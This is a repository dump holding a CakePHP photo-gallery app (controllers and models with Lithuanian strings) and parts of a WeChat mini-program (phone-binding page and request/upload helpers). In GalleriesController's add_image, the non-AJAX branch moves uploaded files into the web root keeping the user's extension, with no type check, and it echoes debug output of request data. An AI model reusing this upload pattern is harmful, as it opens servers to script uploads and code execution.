$this->view = 'errors/missing_controller.ctp';
$this->loadModel('Basic');
$basic=$this->Basic->findBasicOptions();
if(empty($basic))
$basic=$this->Basic->setDefaultBasic();
$this->basic = $basic;
$this->set('basic', $basic['Basic']);
}else{
if($this->Session->read('logged')){
$user = $this->Session->read("Auth.User");
$this->set('user', $user['username']);
$this->set('logged', true);
}else{
$this->set('logged', false);
}
$this->set('base_url', 'http://'.$_SERVER['SERVER_NAME']);
$this->set('full_url', $this->selfURL());
$this->loadModel('Basic');
$basic=$this->Basic->findBasicOptions();
if(empty($basic))
$basic=$this->Basic->setDefaultBasic();
$this->basic = $basic;
$this->set('basic', $basic['Basic']);
$this->loadModel('Menu');
$topmenu = $this->Menu->getMenuItems('topmenu');
$this->set('topmenu', $topmenu);
$footermenu = $this->Menu->getMenuItems('footermenu');
$this->set('footermenu', $footermenu);
}
}
private function selfURL() {
$s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : "";
$protocol = $this->strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s;
$port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI'];
}
private function strleft($s1, $s2) {
return substr($s1, 0, strpos($s1, $s2));
}
/* Admin section begining*/
public function admin_index(){
$this->_admin_index();
}
public function _admin_index($actions = array(), $itemActions = array(), $useCommonView = true) {
if (empty($actions)) {
$actions = $this->{$this->modelClass}->getIndexActions();
}
if (empty($itemActions)) {
$itemActions = $this->{$this->modelClass}->getIndexItemActions();
}
$data = $this->paginate();
if ($this->{$this->modelClass}->isOrderable()) {
$this->set('orderable', true);
}
$data = $this->{$this->modelClass}->afterPaginate($data, $query);
if(isset($this->params['named']['page'])){
$this->set('page', $this->params['named']['page']);
}
else
$this->set('page', 1);
$this->set('data', $data);
$this->set('actions', $actions);
$this->set('itemActions', $itemActions);
$this->set('name', $this->getHumanizedName());
if ($useCommonView) {
$this->viewPath = 'AdminCommon';
}
}
public function _admin_add($path = false, $additionalData = array()) {
$saved = false;
$this->set('name', $this->getHumanizedName().' Add');
if (!empty($this->request->data)) {
// check if orderable
if ($this->{$this->modelClass}->isOrderable()) {
$this->request->data[$this->modelClass]['order'] = $this->{$this->modelClass}->getLastOrder() + 1;
}
$saved = $this->{$this->modelClass}->save($this->request->data);
if ($saved) {
$this->__setMessage($this->{$this->modelClass}->getAdminAddSuccessMsg());
} else {
$this->__setError($this->{$this->modelClass}->getAdminAddErrorMsg());
}
}
$fields = $this->{$this->modelClass}->getAddFields($id_);
$this->set('fields', $fields);
if(!$path){
$this->viewPath = 'AdminCommon';
}
$this->view = 'admin_add';
return $saved;
}
public function admin_delete($id = null) {
$this->_admin_delete($id);
}
public function _admin_delete($id = null, $cascade = true, $redirect = true) {
$deleted = false;
if (isset($id)) {
$deleted = $this->{$this->modelClass}->delete($id, $cascade);
}else {
$this->__setError(__('Nera ID'));
}
if ($redirect) {
$this->redirect($this->referer());
}
return $deleted;
}
}
<file_sep>/app/Model/Image.php
<?php class Image extends AppModel {
public $name = 'Image';
public function getList($uid = null){
$options = array(
'fields' => array('id', 'name'),
'recursive' => -1
);
$data = $this->find('list', $options);
return $data;
}
}
?><file_sep>/app/Controller/GalleriesController.php
<?php
App::uses('Controller', 'Controller');
class GalleriesController extends AppController {
public $components = array('Auth' => array('authorize' => 'Controller'), 'Cookie', 'RequestHandler', 'Session');
public $name = 'Galleries';
public function beforeFilter() {
// if(){
$this->Auth->allow('index');
// }else{
// }
parent::beforeFilter();
}
public function index(){
$slider_images = array(
'img/uploads/1.jpg',
'img/uploads/2.jpg',
'img/uploads/3.jpg',
'img/uploads/4.jpg',
'img/uploads/5.jpg',
'img/uploads/6.jpg',
);
$this->set('slider', $slider_images);
}
public function user_gallery(){
if($this->Session->read('logged')){
$user = $this->Session->read("Auth.User");
if(isset($user['id'])){
$uid = $user['id'];
$gallery_menu = $this->Gallery->loadActions();
$this->set('gallery_menu', $gallery_menu);
$galleries = $this->Gallery->getGalleries($uid);
$this->set('galleries', $galleries);
}else{
$this->redirect("/");
}
}else{
$this->redirect("/");
}
}
public function add_image(){
if($this->request->is('ajax')){
if(!empty($this->request->data)){
$user = $this->Session->read("Auth.User");
$uid = $user['id'];
$this->set('uid', $uid);
$err = array();
if(isset($this->request->data['Gallery']['name']) && !empty($this->request->data['Gallery']['name']) && preg_match('/[^A-Za-z0-9]/', $this->request->data['Gallery']['name'])){
$err['name'] = false;
}else{
$err['name'] = true;
}
$user_galleries = $this->Gallery->getList($uid);
$this->set('options', $user_galleries);
if(isset($this->request->data['Gallery']['gallery_id']) && !empty($this->request->data['Gallery']['gallery_id']) && isset($user_galleries[$this->request->data['Gallery']['gallery_id']]) && !empty($user_galleries[$this->request->data['Gallery']['gallery_id']])){
$err['gallery_id'] = false;
}else{
$err['gallery_id'] = true;
}
$err['image'] = false;
if(!$err['name'] && !$err['gallery_id']){
if(isset($this->request->data['Gallery']['file']) && !empty($this->request->data['Gallery']['file']) && preg_match('/^image/', $this->request->data['Gallery']['file']['type'])){
$info = pathinfo($this->data['Gallery']['file']['name']);
$new_name = time().strtolower($info['extension']);
move_uploaded_file(
$this->data['Gallery']['file']['tmp_name'],
WWW_ROOT . 'img'.DS.'uploads' . DS .$this->request->data['Gallery']['gallery_id'] .DS.'small'.DS.$new_name
);
unset($this->request->data['Gallery']['file']);
$this->request->data['Gallery']['src'] = $new_name;
$this->Images->save($this->request->data);
$this->set('successful', true);
}else{
$err['image'] = true;
}
}
$this->set('errors', $err);
$this->set('successful', false);
$this->set('data', $this->request->data);
$this->layout = 'ajax';
}else{
$this->set('successful', false);
$user = $this->Session->read("Auth.User");
$uid = $user['id'];
$this->set('uid', $uid);
$user_galleries = $this->Gallery->getList($uid);
$this->set('options', $user_galleries);
$this->layout = 'ajax';
}
// Saving without AJAX
}elseif(!empty($this->request->data)){
$user = $this->Session->read("Auth.User");
$uid = $user['id'];
$this->set('uid', $uid);
$err = array();
if(isset($this->request->data['Gallery']['name']) && !empty($this->request->data['Gallery']['name'])){
if(preg_match('/[A-Za-z0-9]+/', $this->request->data['Gallery']['name'])){
$err['name'] = false;
}else{
$err['name'] = 'pregmatch';
}
}else{
$err['name'] = true;
}
$user_galleries = $this->Gallery->getList($uid);
$this->set('options', $user_galleries);
if(isset($this->request->data['Gallery']['gallery_id']) && !empty($this->request->data['Gallery']['gallery_id']) && isset($user_galleries[$this->request->data['Gallery']['gallery_id']]) && !empty($user_galleries[$this->request->data['Gallery']['gallery_id']])){
$err['gallery_id'] = false;
}else{
$err['gallery_id'] = true;
}
$err['image'] = false;
if(!$err['name'] && !$err['gallery_id']){
if(isset($this->request->data['Gallery']['file']) && !empty($this->request->data['Gallery']['file'])){
$info = pathinfo($this->data['Gallery']['file']['name']);
$new_name = time().'.'.strtolower($info['extension']);
move_uploaded_file(
$this->data['Gallery']['file']['tmp_name'],
WWW_ROOT . 'img'.DS.'uploads' . DS .$this->request->data['Gallery']['gallery_id'] .DS.'small'.DS.$new_name
);
unset($this->request->data['Gallery']['file']);
$data['Image']=$this->request->data['Gallery'];
$data['Image']['src'] = $new_name;
$this->loadModel('Image');
$this->Image->save($data);
$this->redirect("/galleries/user_gallery");
}else{
$err['image'] = true;
}
}
echo 'Jus suklydote ivesdami informacija. Nuotraukos pavadinimas turi buti be tarpu, tik lotyniskos raides ir skaitmenys. ';
debug($this->request->data);
echo 'Klaidos. True - padaryta toje vietoje klaida.';
debug($err);
$this->set('successful', false);
$this->set('errors', $err);
$this->set('data', $this->request->data);
$this->layout = 'ajax';
$this->autoRender = false;
}else{
$this->redirect("/");
}
}
}
?><file_sep>/app/Model/Upload.php
<?php
class Upload extends AppModel {
var $name = 'Upload';
var $useTable = false;
public function afterPaginate($data, $slider_id=null){
// App::import('model','Slider');
// $Slider = new Slider();
// if($slider_id){
// $n_key=0;
// foreach($data as $key=> $item){
// if($item['Frame']['slider_id']==$slider_id){
// $item['Frame']['slider_id']=$Slider->getSliderName($item['Frame']['slider_id']);
// unset($data[$key]);
// $data[$n_key]=$item;
// $n_key++;
// }
// else{
// unset($data[$key]);
// }
// }
// }
// else{
// foreach($data as $key=> $item){
// $item['Frame']['slider_id']=$Slider->getSliderName($item['Frame']['slider_id']);
// $data[$key]=$item;
// }
// }
return $data;
}
public function getAddFields() {
// App::import('model', 'Slider');
// $Slider = new Slider();
// $fields = array(
// 'Frame.name' => array(
// 'type' => 'text'
// ),
// 'Frame.slider_id'=> array(
// 'type' => 'select',
// 'options' => $Slider->getList()
// ),
// 'Frame.type' => array(
// 'type' => 'select',
// 'options' => array(
// 'image' => 'image',
// 'video' => 'video'
// )
// ),
// 'Frame.image' => array(
// 'type' => 'file',
// 'class' => 'frame_image_upload edit_image_upload'
// ),
// 'Frame.src' => array(
// 'type' => 'text',
// 'class' => 'video_src'
// ),
// 'Frame.url' => array(
// 'type' => 'text',
// 'label' => 'Link'
// ),
// 'Frame.expiration' => array(
// 'type' => 'date'
// ),
// );
// $fields['published'] = array('type' => 'checkbox');
// return $fields;
}
}
?><file_sep>/app/Model/Behavior/OrderBehavior.php
<?php
class OrderBehavior extends ModelBehavior {
public function moveUp(Model $Model, $id) {
$model = $Model->name;
$options['conditions'] = array(
$model . '.id' => $id
);
$item = $Model->find('first', $options);
$order = $item[$model]['order'];
$options['conditions'] = array(
$model . '.order <' => $order
);
$options['order'] = $model . '.order DESC';
$item2 = $Model->find('first', $options);
if (empty($item2)) {
return;
}
$item[$model]['order'] = $item2[$model]['order'];
$item2[$model]['order'] = $order;
$Model->save($item);
$Model->save($item2);
}
public function moveDown(Model $Model, $id) {
$model = $Model->name;
$options['conditions'] = array(
$model . '.id' => $id
);
$item = $Model->find('first', $options);
$order = $item[$model]['order'];
$options['conditions'] = array(
$model . '.order >' => $order
);
$options['order'] = $model . '.order ASC';
$item2 = $Model->find('first', $options);
if (empty($item2)) {
return;
}
$item[$model]['order'] = $item2[$model]['order'];
$item2[$model]['order'] = $order;
$Model->save($item);
$Model->save($item2);
}
public function getLastOrder(Model $Model) {
$model = $Model->name;
$options['order'] = $model . '.order DESC';
$item = $Model->find('first', $options);
if (!empty($item)) {
return $item[$model]['order'];
}
return 0;
}
}
?>
<file_sep>/app/Model/Gallery.php
<?php
class Gallery extends AppModel {
public $name = 'Gallery';
public $hasMany = 'Image';
public function getGalleries($id = null) {
$options = array(
'conditions' => array(
'Gallery.owner_id'=> $id
),
'recursive' => 1
);
$data = $this->find('all', $options);
return $data;
}
public function getList($uid = null){
if($uid){
$options = array(
'fields' => array('id', 'name'),
'conditions' => array(
'Gallery.owner_id'=> $uid
),
'recursive' => -1
);
}else{
$options = array(
'fields' => array('id', 'name'),
'recursive' => -1
);
}
$data = $this->find('list', $options);
return $data;
}
public function saveImage($data){
$this->Image->save($data);
}
public function loadActions(){
$actions = array(
'create_gallery' => array(
'title' => 'Sukurti nauja galerija',
'module' => 'galleries',
'action' => 'create',
'id' => 'create_gallery',
'active' => 0
),
'add_image' => array(
'title' => 'Prideti nuotrauka',
'module' => 'galleries',
'action' => 'add_image',
'id' => 'add_image',
'active' => 1
),
'user_data' => array(
'title' => 'Paskyros nustatymai',
'module' => 'users',
'action' => 'edit',
'id' => '',
'active' => 0
),
);
return $actions;
}
}
?>
|
1f7c269d1558ff9e1d8f331b356f6fe984d52846
|
[
"SQL",
"PHP"
] | 25 |
PHP
|
Zeneo/nfq_grafiti
|
a37b459bf67abfa08f4f850d036d0afddf364cab
|
44097f4405ac0586dc49b8f7e5981a910650f943
|
refs/heads/master
|
<file_sep>package war;
public class WarCli {
protected String result = "";
WarCli(int[] soldierEnergy, int[] terroristStrength){
for(int soldier=1; soldier<soldierEnergy.length; soldier++){
for(int terrorist=1; terrorist<terroristStrength.length; terrorist++){
if(soldierEnergy[soldier] < terroristStrength[terrorist]) {
result = "LOSE";
}
else {
result = "WIN";
}
}
}
}
}
|
cfe8ae02a4b2da774b842e98c8aec855427b8e40
|
[
"Java"
] | 1 |
Java
|
prabhatghimire/war
|
a8cee317d707ee5d971b6d4510c8b323dd165d8b
|
fecf44230e6f1c069203dda66eb0841627b5cece
|
refs/heads/master
|
<file_sep>package au.com.totp.example.security;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
/**
* Created by pablocaif on 22/09/15.
*/
@Configuration
public class MvcConfig extends WebMvcConfigurerAdapter {
@Override
public void addViewControllers(ViewControllerRegistry registry) {
registry.addViewController("/login").setViewName("login");
}
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/img/**").
setCachePeriod(108000).
addResourceLocations("/img/");
}
}
<file_sep>#spring-boot-totp#
A simple example project with a bit of Angular-js and Spring that shows how to integrate TOTP with Spring Security.
There is also an example of how to create users and generate secrets for TOTP
##Requirements##
* Java 8
* MySql Database
<file_sep>package au.com.totp.example.security.totp.authdetails;
import org.springframework.security.core.SpringSecurityCoreVersion;
import org.springframework.security.web.authentication.WebAuthenticationDetails;
import org.springframework.util.StringUtils;
import javax.servlet.http.HttpServletRequest;
/**
* Created by pablocaif on 16/09/15.
*/
public class TOTPWebAuthenticationDetails extends WebAuthenticationDetails {
private static final long serialVersionUID = SpringSecurityCoreVersion.SERIAL_VERSION_UID;
private Integer totpKey;
/**
* Records the remote address and will also set the session Id if a session
* already exists (it won't create one).
*
* @param request that the authentication request was received from
*/
public TOTPWebAuthenticationDetails(HttpServletRequest request) {
super(request);
String totpKeyString = request.getParameter("TOTPKey");
if (StringUtils.hasText(totpKeyString)) {
try {
this.totpKey = Integer.valueOf(totpKeyString);
}
catch (NumberFormatException e) {
this.totpKey = null;
}
}
}
public Integer getTotpKey() {
return this.totpKey;
}
}
|
75180ebb5946ebf57b670f0f5412f4f65bd12684
|
[
"Markdown",
"Java"
] | 3 |
Java
|
ecoeppasa/TOTP-spring-example
|
52e87f6becfb7e3b633fdc504b5a91738c79c830
|
a4a0e18f68e60d70d6f4b17d41903e6741cfcf28
|
refs/heads/master
|
<repo_name>Apoorva1217/Flip_Coin_Combination<file_sep>/README.md
# Flip_Coin_Combination
This problem displays Winning Percentage of Head or Tail Combination in a Singlet, Doublet and Triplet.
<file_sep>/Flip_Coin_Combination.sh
#!/bin/bash -x
r=$((RANDOM%2))
if [ $r -eq 1 ]
then
echo "Head"
else
echo "Tail"
fi
echo "Enter number of flip:"
read n
declare -A dict
dict[H]=0
dict[T]=0
for((i=0;i<n;i++))
do
r=$((RANDOM%2))
if [ $r -eq 0 ]
then
val=${dic[H]}
dict[H]=$((val+1))
else
val=${dict[T]}
dict[T]=$((val+1))
fi
done
val=${dict[H]}
echo "head percentage:"
echo "scale=2;$val/$n*100" | bc
val=${dict[T]}
echo "tail percentage:"
echo "scale=2;$val/$n*100" | bc
dict[HH]=0
dict[HT]=0
dict[TH]=0
dict[TT]=0
for((i=0;i<n;i++))
do
r=$((RANDOM%4))
if [ $r -eq 0 ]
then
val=${dic[HH]}
dict[HH]=$((val+1))
elif [ $r -eq 1 ]
then
val=${dict[HT]}
dict[HT]=$((val+1))
elif [ $r -eq 2 ]
then
val=${dict[TH]}
dict[TH]=$((val+1))
else
val=${dict[TT]}
dict[TT]=$((val+1))
fi
done
echo "HH percentage:"
val=${dict[HH]}
dict[HH]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[HH]}
echo "HT percentage:"
val=${dict[HT]}
dict[HT]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[HT]}
echo "TH percentage:"
val=${dict[TH]}
dict[TH]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[TH]}
echo "TT percentage:"
val=${dict[TT]}
dict[TT]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[TT]}
dict[HHH]=0
dict[HHT]=0
dict[HTH]=0
dict[THH]=0
dict[TTH]=0
dict[THT]=0
dict[HTT]=0
for((i=0;i<n;i++))
do
r=$((RANDOM%8))
if [ $r -eq 0 ]
then
val=${dic[HHH]}
dict[HHH]=$((val+1))
elif [ $r -eq 1 ]
then
val=${dict[HHT]}
dict[HHT]=$((val+1))
elif [ $r -eq 2 ]
then
val=${dict[HTH]}
dict[HTH]=$((val+1))
elif [ $r -eq 3 ]
then
val=${dict[THH]}
dict[THH]=$((val+1))
elif [ $r -eq 4 ]
then
val=${dic[THH]}
dict[THH]=$((val+1))
elif [ $r -eq 5 ]
then
val=${dict[THT]}
dict[THT]=$((val+1))
elif [ $r -eq 6 ]
then
val=${dict[HTT]}
dict[HTT]=$((val+1))
else
val=${dict[TTT]}
dict[TTT]=$((val+1))
fi
done
echo "HHH percentage:"
val=${dict[HHH]}
dict[HHH]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[HHH]}
echo "HHT percentage:"
val=${dict[HHT]}
dict[HHT]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[HHT]}
echo "HTH percentage:"
val=${dict[HTH]}
dict[HTH]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[HTH]}
echo "THH percentage:"
val=${dict[THH]}
dict[THH]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[THH]}
echo "TTH percentage:"
val=${dict[TTH]}
dict[TTH]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[TTH]}
echo "THT percentage:"
val=${dict[THT]}
dict[THT]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[THT]}
echo "HTT percentage:"
val=${dict[HTT]}
dict[HTT]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[HTT]}
echo "TTT percentage:"
val=${dict[TTT]}
dict[TTT]=`echo "scale=2;$val/$n*100" | bc`
echo ${dict[TTT]}
index=0
arr[((index++))]=${dict[H]}
arr[((index++))]=${dict[T]}
arr[((index++))]=${dict[HH]}
arr[((index++))]=${dict[HT]}
arr[((index++))]=${dict[TH]}
arr[((index++))]=${dict[TT]}
arr[((index++))]=${dict[HHH]}
arr[((index++))]=${dict[HHT]}
arr[((index++))]=${dict[HTH]}
arr[((index++))]=${dict[THH]}
arr[((index++))]=${dict[TTH]}
arr[((index++))]=${dict[THT]}
arr[((index++))]=${dict[HTT]}
arr[((index))]=${dict[TTT]}
echo ${arr[@]}
len=$((${#arr[@]}))
temp=0
for(( i=0; i<=12; i++ ))
do
for (( j=i+1; j<=12; j++ ))
do
if [ $(echo "${arr[i]}<${arr[j]}" | bc) -eq 1 ]
then
temp=${arr[i]}
arr[i]=${arr[j]}
arr[j]=$temp
fi
done
done
echo ${arr[@]}
max=${arr[0]}
case $max in
${dict[H]}) echo "Singlet Combination is Winner" ;;
${dict[T]}) echo "Singlet Combination is Winner" ;;
${dict[HH]}) echo "Doublet Combination is Winner" ;;
${dict[HT]}) echo "Doublet Combination is Winner" ;;
${dict[TH]}) echo "Doublet Combination is Winner" ;;
${dict[TT]}) echo "Doublet Combination is Winner" ;;
${dict[HHH]}) echo "Triplet Combination is Winner" ;;
${dict[HHT]}) echo "Triplet Combination is Winner" ;;
${dict[HTH]}) echo "Triplet Combination is Winner" ;;
${dict[THH]}) echo "Triplet Combination is Winner" ;;
${dict[TTH]}) echo "Triplet Combination is Winner" ;;
${dict[THT]}) echo "Triplet Combination is Winner" ;;
${dict[HTT]}) echo "Triplet Combination is Winner" ;;
${dict[TTT]}) echo "Triplet Combination is Winner" ;;
esac
|
abcbcd30ceb932a0499b30fb9470dd524bc5a04c
|
[
"Markdown",
"Shell"
] | 2 |
Markdown
|
Apoorva1217/Flip_Coin_Combination
|
5090be5df533ba677147a1371320ae1682a37b21
|
3304935753aa3d57c38f88fff9515fc4478acf66
|
refs/heads/master
|
<file_sep># position.py
from datetime import datetime, time
import numpy as np
import pandas as pd
import Quandl
# import os
import matplotlib.pyplot as plt
import seaborn
QUANDL_AUTH = '<KEY>'
class Position():
def __init__(self, symbol, date, units, unit_price, fee=9.99, comp = 'SP500'):
self.__name__ = 'symbol' + '_' + date
if comp == 'SP500':
self.comp = get_SP500(date)
self.init_date = date
self.init_value = units * unit_price
self.init_cost_basis = init_value + fee
# def get_value(self, time):
# def get_total_return_value(time):
# def get_total_return_percent(time):
# v1 = self.initial_value
# def get_CAGR(self, time):
# v1 = self.initial_value
# v2 = self.get_value(time)
if __name__ == '__main__':
# ATVI:
# start date 2009-07-22
# fee = 9.99
# amt = 120 shares, $11.70/share, $1407 + $9.99
atvi = Position('NFLX', '2009-07-22', 120, 11.70)
# nflx = Quandl.get('WIKI/NFLX', authtoken=QUANDL_AUTH)
# aapl = Quandl.get('WIKI/AAPL', authtoken=QUANDL_AUTH)
# # print data
# aapl['Adj. Close'].plot()
# nflx['Adj. Close'].plot()
# plt.show()
<file_sep># portfolio.py
from datetime import datetime, time
import numpy as np
import pandas as pd
import Quandl
# import os
import matplotlib.pyplot as plt
import seaborn
QUANDL_AUTH = '<KEY>'
class Portfolio():
NFLX = Position('NFLX', , units, unit_price, fee=9.99, comp = 'SP500')
|
ec4b3b790e0418c1921fc4d59e6192f5df47d5bd
|
[
"Python"
] | 2 |
Python
|
caldwellshane/portfolio
|
80e59733c41291069fc1b6498df4d83cf8e25958
|
623f084c7152d569ceaeafb131309230b4b43740
|
refs/heads/master
|
<repo_name>mateuszrozalski/konplan<file_sep>/docs/js/main.js
var burger = document.querySelector('.burger');
var menu = document.querySelector('.navbar-menu')
burger.addEventListener('click', function() {
burger.classList.toggle('is-active')
menu.classList.toggle('is-active')
});
let content = document.querySelectorAll(".fadeIn")
let logo = document.querySelectorAll(".navbar-brand")
let tl = new TimelineMax({delay: .3})
tl.to(content, 1, {opacity: 1})
tl.to(logo, 1, {top: 0}, "-=1")
function showModal (x) {
let modalTarget = x.getAttribute('target')
let modal = document.getElementById(modalTarget)
modal.className += " is-active";
let close = modal.querySelector('.delete')
close.addEventListener('click', hideModal)
function hideModal () {
modal.classList.remove("is-active")
}
}
<file_sep>/docs/site/components/nav-bar.js
(function(window, document, undefined) {
// Refers to the "importer", which is index.html
var thatDoc = document;
// Refers to the "importee", which is src/hello-world.html
var thisDoc = (thatDoc._currentScript || thatDoc.currentScript).ownerDocument;
// Gets content from <template>
var template = thisDoc.querySelector('template').content;
// Creates an object based in the HTML Element prototype
var MyElementProto = Object.create(HTMLElement.prototype);
// Fires when an instance of the element is created
MyElementProto.createdCallback = function() {
// Creates the shadow root
var shadowRoot = this.createShadowRoot();
// Adds a template clone into shadow root
var clone = thatDoc.importNode(template, true);
shadowRoot.appendChild(clone);
};
// Registers <nav-bar> in the main document
window.MyElement = thatDoc.registerElement('nav-bar', {
prototype: MyElementProto
});
})(window, document);
|
fa957d2346868d0d1997998425be9a97ea0f07c0
|
[
"JavaScript"
] | 2 |
JavaScript
|
mateuszrozalski/konplan
|
7d9e5756e0058f4ef9e538682f5154629c218581
|
f7c9805613f7a8e7f44667791693f4cb1b85d44e
|
refs/heads/master
|
<file_sep>def reverse_each_word(string)
string.reverse!
array = [string.split(" ")]
reversed_array =[]
array.each do |n|
reversed_array.push(n.reverse)
end
return reversed_array.join(" ")
end
def reverse_each_word(string)
string.reverse!
array = [string.split(" ")]
reversed_array =[]
array.collect do |n|
reversed_array.push(n.reverse)
end
return reversed_array.join(" ")
end
|
97cfaf2a719b31c7f2f3a2e2a3a06f053fdbe1ce
|
[
"Ruby"
] | 1 |
Ruby
|
kmarks2013/ruby-enumerables-reverse-each-word-lab-dumbo-web-080519
|
183e94847e8e32090c379f71bcf8f13d539ecdff
|
18a9368ae45a2aaaaa552853c2be925dfafb0f19
|
refs/heads/master
|
<file_sep>// pages/bind_tel/bind_tel.js
import {
extendObj, is_empty, is_number, doPost, showToast
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page({
/**
* 页面的初始数据
*/
data: {
is_ok:true,
code:'',
mobile:'',
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
let _this = this;
let tel = options.tel;
let mob = tel.slice(0,3) + '****' + tel.slice(7);
_this.setData({ mob: tel==''?'未绑定手机':mob});
},
//输入手机号码
tel_num:function(e){
this.setData({ mobile:e.detail.value});
},
//输入验证码
code:function(e){
this.setData({ code: e.detail.value });
},
//用户点击获取验证码并60s倒计时
sendCode:function(){
let _this = this;
var time = 60;
let mobile = _this.data.mobile
if (/^1[3456789]\d{9}$/.test(mobile)){
doPost('/user/sendSMS ', {
"inmap": {
"mobile": mobile,
}
}, function (res) {
if(res.code==0){
console.log(res)
showToast('短信验证码发送成功')
_this.setData({
sendCode: '60秒',
is_ok: false
})
var Interval = setInterval(function () {
time--;
if (time > 0) {
_this.setData({
sendCode: time + '秒'
})
} else {
clearInterval(Interval);
_this.setData({
is_ok: true
})
}
}, 1000)
}else{
showToast(res.code)
}
});
}else{
showToast('手机号格式不正确');
}
},
//绑定手机号
btns:function(){
let _this = this;
if (_this.data.mobile == '') {
showToast('请输入手机号码')
return
}
if (_this.data.code==''){
showToast('请输入验证码')
return
}
doPost('/user/bindMobile ', {
"inmap": {
"id": app.globalData.userInfo.userid,
"code": _this.data.code,
"mobile": _this.data.mobile,
}
}, function (res) {
console.log(res)
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
if(res.code==0){
setTimeout(() => {
wx.navigateBack({
delta: 1
})
}, 2000);
}
});
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})<file_sep>const config = require("../config.js")
const formatTime = date => {
const year = date.getFullYear()
const month = date.getMonth() + 1
const day = date.getDate()
const hour = date.getHours()
const minute = date.getMinutes()
const second = date.getSeconds()
return [year, month, day].map(formatNumber).join('/') + ' ' + [hour, minute, second].map(formatNumber).join(':')
}
const inputgetName = (e)=>{
let name = e.currentTarget.dataset.name;
let nameMap = {}
if (name.indexOf('.')) {
let nameList = name.split('.')
if (this.data[nameList[0]]) {
nameMap[nameList[0]] = this.data[nameList[0]]
} else {
nameMap[nameList[0]] = {}
}
nameMap[nameList[0]][nameList[1]] = e.detail.value
} else {
nameMap[name] = e.detail.value
}
this.setData(nameMap)
}
const formatNumber = n => {
n = n.toString()
return n[1] ? n : '0' + n
}
const cloneObj = oldObj =>{ //复制对象方法
if (typeof (oldObj) != 'object') return oldObj
if (oldObj == null) return oldObj
var newObj = new Object()
for (var i in oldObj)
newObj[i] = cloneObj(oldObj[i])
return newObj
}
const is_number = (num)=>{
if (typeof (num) == "number") return true;
if (typeof (num) == "string") return (/^(\-|\+?)[0-9]+.?[0-9]*$/).test(num);
return false;
}
const extendObj = (objarr) => { //扩展对象
if (objarr.length < 1) return null
if (objarr.length < 2) return objarr[0]
var temp = cloneObj(objarr[0]); //调用复制对象方法
for (var n = 1; n < objarr.length; n++) {
for (var i in objarr[n]) {
temp[i] = objarr[n][i]
}
}
return temp;
}
const is_empty = (obj)=> {
if (typeof (obj) == "undefined") return true;
if (obj == null) return true;
if (typeof (obj) == "string") {
if (obj.trim() == "") return true;
}
if (typeof (obj) == "object") {
var tem_str = JSON.stringify(obj);
if (tem_str == "{}") return true;
if (tem_str == "[]") return true;
}
return false;
}
const doPost=(url,params,func_callback)=>{
var re = {
code:-1,
msg:"",
data:null
}
if (!is_empty(url) && typeof (url) == "string") {
console.log('start_post',config.baseUrl + url);
wx.request({
url: config.baseUrl + url, //此处填写第三方的接口地址
data: is_empty(params) ? "" : (typeof (params) == "object" ? JSON.stringify(params) : (typeof (params) == "string" ?params:"")),
header: {
'content-type': 'application/json'
},
method: 'POST', // OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT
success: function (res) {
if (res.statusCode == 200) {
re.data = res.data.data
if (res.data.errno == 0) {
re.code = 0
} else {
console.log('post_recive_err', { url: config.baseUrl + url, post: params, res: res.data });
re.msg = res.data.errmsg
}
}else {
console.log('post_server_err', { url: config.baseUrl + url, post: params, res: res });
re.msg = res.errMsg +",statusCode:"+ res.statusCode
}
if (func_callback instanceof Function) {
func_callback(re)
}
},
fail: function (res) {
if (func_callback instanceof Function) {
re.msg = res.errMsg
func_callback(re)
}
}
})
}else{
if (func_callback instanceof Function){
re.msg = "请输入请求地址"
func_callback(re)
}
}
}
const isJsonString = (str)=>{
if (!is_empty(str) && typeof (str) == "string") {
try {
if (typeof JSON.parse(str) == "object") {
return true;
}
} catch (e) {
return false;
}
}
return false;
}
const doUpload = (url, name, tmpPath, params, func_callback) => {
var re = {
code: -1,
msg: "",
data: null
}
if (!is_empty(url) && typeof (url) == "string" && !is_empty(name) && typeof (name) == "string" && !is_empty(tmpPath) && typeof (tmpPath) == "string") {
console.log('start_upload', config.baseUrl + url);
wx.uploadFile({
url: config.baseUrl + url, //路径
filePath: tmpPath,
name: name,
formData: is_empty(params) ? {} : (typeof (params) == "object" ? params : (isJsonString (params) ? JSON.parse(params) : {})),
success(res) {
if (res.statusCode == 200) {
var data = JSON.parse(res.data)
re.data = data.data
if (data.errno == 0) {
re.code = 0
} else {
console.log('post_recive_err', { url: config.baseUrl + url, post: params,file:{name:name,path:tmpPath}, res: data });
re.msg = data.errmsg
}
} else {
console.log('post_server_err', { url: config.baseUrl + url, post: params, file: { name: name, path: tmpPath }, res: res });
